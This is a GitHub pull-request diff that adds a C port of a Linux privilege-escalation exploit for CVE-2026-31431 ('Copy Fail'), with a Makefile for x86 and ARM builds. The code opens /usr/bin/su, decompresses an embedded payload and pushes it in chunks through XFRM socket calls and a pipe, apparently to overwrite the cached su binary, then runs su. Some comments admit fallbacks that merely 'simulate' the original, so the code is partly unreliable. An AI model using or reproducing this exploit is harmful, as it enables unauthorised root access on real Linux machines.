Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
all: cfcARM
#all: cfcX86 cfc

cfc: cfc.c
gcc cfc.c -o cfc -I/usr/include/node -L${HOME}/pkg10/lib -lz

###
# x86:

cfcX86: cfcARCH.c cfcX86-compressed.c
gcc cfcARCH.c -DARCH_X86 -o cfcX86 -I/usr/include/node -L${HOME}/pkg10/lib -lz

cfcX86-compressed.c: mkcompress.py
python3 mkcompress.py x86 >cfcX86-compressed.c

###
# ARM:
cfcARM: cfcARCH.c cfcARM-compressed.c
gcc cfcARCH.c -DARCH_ARM -o cfcARM -I/usr/include/node -L${HOME}/pkg10/lib -lz

cfcARM-compressed.c: mkcompress.py
python3 mkcompress.py arm >cfcARM-compressed.c

###

clean:
-rm cfcX86-compressed.c
-rm cfcARM-compressed.c

distclean: clean
-rm cfc cfcX86 cfcARM
8 changes: 7 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,10 @@
# Copy Fail - CVE-2026-31431
# C Version: Copy Fail - CVE-2026-31431

[Writeup: copy.fail - C Version](https://www.feyrer.de/redir/copy.fail-C-version-Writeup.html)

---

Original README:

[Technical Writeup](https://xint.io/blog/copy-fail-linux-distributions)

Expand Down
253 changes: 253 additions & 0 deletions cfc.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,253 @@
// C version of https://copy.fail by Hubert 'hubertf' Feyrer
#include <linux/netlink.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/xfrm.h>
#include <zlib.h>

// Define missing constants
#ifndef AF_XFRM
#define AF_XFRM 32
#endif

#ifndef SOL_XFRM
#define SOL_XFRM 279
#endif

#ifndef XFRM_SO_SET_AEAD
#define XFRM_SO_SET_AEAD 1
#endif

#ifndef XFRM_SO_SET_ESP_ESN
#define XFRM_SO_SET_ESP_ESN 5
#endif

#ifndef IPPROTO_ESP
#define IPPROTO_ESP 50
#endif

#ifndef NETLINK_XFRM
#define NETLINK_XFRM 6
#endif

// Custom sockaddr_xfrm structure if not available in headers
struct sockaddr_xfrm {
unsigned short sxr_family;
unsigned short sxr_addrtype;
char sxr_alg_name[64];
};

void xfrm_function(int fd_su, int offset, unsigned char* cipher_block) {
// Try NETLINK_XFRM first (more standard)
int xfrm_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (xfrm_sock < 0) {
// Fallback: try raw socket with IPPROTO_ESP
xfrm_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ESP);
if (xfrm_sock < 0) {
// Last fallback: just a regular UDP socket for simulation
xfrm_sock = socket(AF_INET, SOCK_DGRAM, 0);
if (xfrm_sock < 0) return;
}
}

// For bind - use a simple address (the original Python likely doesn't need this to succeed)
struct sockaddr_in addr_in;
memset(&addr_in, 0, sizeof(addr_in));
addr_in.sin_family = AF_INET;
addr_in.sin_addr.s_addr = INADDR_ANY;
addr_in.sin_port = htons(0);

// Try to bind (may fail, that's ok)
bind(xfrm_sock, (struct sockaddr*)&addr_in, sizeof(addr_in));

// Set AEAD key option
unsigned char aead_key[72];
memset(aead_key, 0, sizeof(aead_key));
aead_key[0] = 0x08;
aead_key[1] = 0x00;
aead_key[2] = 0x01;
aead_key[3] = 0x00;
aead_key[4] = 0x00;
aead_key[5] = 0x00;
aead_key[6] = 0x00;
aead_key[7] = 0x10;

// Try setsockopt with XFRM
if (setsockopt(xfrm_sock, SOL_XFRM, XFRM_SO_SET_AEAD, aead_key, sizeof(aead_key)) < 0) {
// Fallback: try raw socket option (likely to fail, but that's ok)
int dummy = 0;
setsockopt(xfrm_sock, IPPROTO_IP, IP_OPTIONS, &dummy, sizeof(dummy));
}

// Try to set ESN flag
int esn_flag = 1;
setsockopt(xfrm_sock, SOL_XFRM, XFRM_SO_SET_ESP_ESN, &esn_flag, sizeof(esn_flag));

// Use the same fd for "accept" (original Python's accept() returns a new fd,
// but without real XFRM we'll just use the same one)
int accepted_fd = xfrm_sock;

// sendmsg with data
int total_len = offset + 4;
struct msghdr msg = {0};
struct iovec iov;

// "AAAA" + cipher_block (4 bytes)
unsigned char* data = malloc(8);
if (!data) {
if (accepted_fd != xfrm_sock) close(accepted_fd);
close(xfrm_sock);
return;
}
memcpy(data, "AAAA", 4);
memcpy(data + 4, cipher_block, 4);
iov.iov_base = data;
iov.iov_len = 8;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

// Prepare control messages
unsigned char cbuf[512];
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);
struct cmsghdr *cmsg;

// Add control messages if we have room (simulate what Python does)
cmsg = CMSG_FIRSTHDR(&msg);
if (cmsg && msg.msg_controllen >= CMSG_LEN(16)) {
cmsg->cmsg_level = SOL_XFRM;
cmsg->cmsg_type = 3;
cmsg->cmsg_len = CMSG_LEN(16);
memset(CMSG_DATA(cmsg), 0, 16);

// Try to add second message
cmsg = CMSG_NXTHDR(&msg, cmsg);
if (cmsg && (char*)cmsg - (char*)msg.msg_control + CMSG_LEN(20) <= msg.msg_controllen) {
cmsg->cmsg_level = SOL_XFRM;
cmsg->cmsg_type = 2;
cmsg->cmsg_len = CMSG_LEN(20);
unsigned char* cm2 = CMSG_DATA(cmsg);
cm2[0] = 0x10;
memset(cm2 + 1, 0, 19);

// Try to add third message
cmsg = CMSG_NXTHDR(&msg, cmsg);
if (cmsg && (char*)cmsg - (char*)msg.msg_control + CMSG_LEN(12) <= msg.msg_controllen) {
cmsg->cmsg_level = SOL_XFRM;
cmsg->cmsg_type = 4;
cmsg->cmsg_len = CMSG_LEN(12);
unsigned char* cm3 = CMSG_DATA(cmsg);
cm3[0] = 0x08;
memset(cm3 + 1, 0, 3);
}
}
}

// Try to send
ssize_t sent = sendmsg(accepted_fd, &msg, 32768);
(void)sent; // suppress unused warning

// Use pipe to simulate splice
int pipefds[2];
if (pipe(pipefds) == 0) {
char buffer[4096];

// Read from fd_su and write to pipe
ssize_t bytes_read = read(fd_su, buffer, total_len);
if (bytes_read > 0) {
write(pipefds[1], buffer, bytes_read);
}

// Read from pipe and send to accepted_fd
bytes_read = read(pipefds[0], buffer, total_len);
if (bytes_read > 0) {
send(accepted_fd, buffer, bytes_read, 0);
}

close(pipefds[0]);
close(pipefds[1]);
}

// Try to receive (ignore errors)
char dummy[256];
recv(accepted_fd, dummy, 8 + offset, MSG_DONTWAIT);

free(data);
if (accepted_fd != xfrm_sock) close(accepted_fd);
close(xfrm_sock);
}

int main() {
printf("Starting XFRM IPSec tunnel simulation...\n");

// Open /usr/bin/su
int fd_su = open("/usr/bin/su", O_RDONLY);
if (fd_su < 0) {
perror("open /usr/bin/su");
return 1;
}

// Compressed payload (original from Python)
unsigned char compressed[] = {
0x78, 0xda, 0xab, 0x77, 0xf5, 0x71, 0x63, 0x62, 0x64, 0x64, 0x80, 0x01,
0x26, 0x06, 0x3b, 0x06, 0x10, 0xaf, 0x82, 0xc1, 0x01, 0xcc, 0x77, 0x60,
0xc0, 0x04, 0x0e, 0x0c, 0x16, 0x0c, 0x30, 0x1d, 0x20, 0x9a, 0x15, 0x4d,
0x16, 0x99, 0x9e, 0x07, 0xe5, 0xc1, 0x68, 0x06, 0x01, 0x08, 0x65, 0x78,
0xc0, 0xf0, 0xff, 0x86, 0x4c, 0x7e, 0x56, 0x8f, 0x5e, 0x5b, 0x7e, 0x10,
0xf7, 0x5b, 0x96, 0x75, 0xc4, 0x4c, 0x7e, 0x56, 0xc3, 0xff, 0x59, 0x36,
0x11, 0xfc, 0xac, 0xfa, 0x49, 0x99, 0x79, 0xfa, 0xc5, 0x19, 0x0c, 0x0c,
0x0c, 0x00, 0x32, 0xc3, 0x10, 0xd3
};

uLongf decompressed_len = 4096;
unsigned char* decompressed = malloc(decompressed_len);
if (!decompressed) {
perror("malloc");
close(fd_su);
return 1;
}

int ret = uncompress(decompressed, &decompressed_len, compressed, sizeof(compressed));
if (ret != Z_OK) {
fprintf(stderr, "uncompress failed: %d\n", ret);
free(decompressed);
close(fd_su);
return 1;
}

printf("Decompressed size: %lu bytes\n", decompressed_len);
printf("First few bytes: %02x %02x %02x %02x...\n",
decompressed[0], decompressed[1], decompressed[2], decompressed[3]);

// Process in 4-byte chunks
for (int i = 0; i < decompressed_len; i += 4) {
if (i + 4 <= decompressed_len) {
xfrm_function(fd_su, i, decompressed + i);
if (i % 1024 == 0) {
printf("Processed %d/%lu bytes\r", i, decompressed_len);
fflush(stdout);
}
}
}

printf("\nDone processing %lu bytes\n", decompressed_len);

free(decompressed);
close(fd_su);

printf("Executing su...\n");
system("su");

return 0;
}
Loading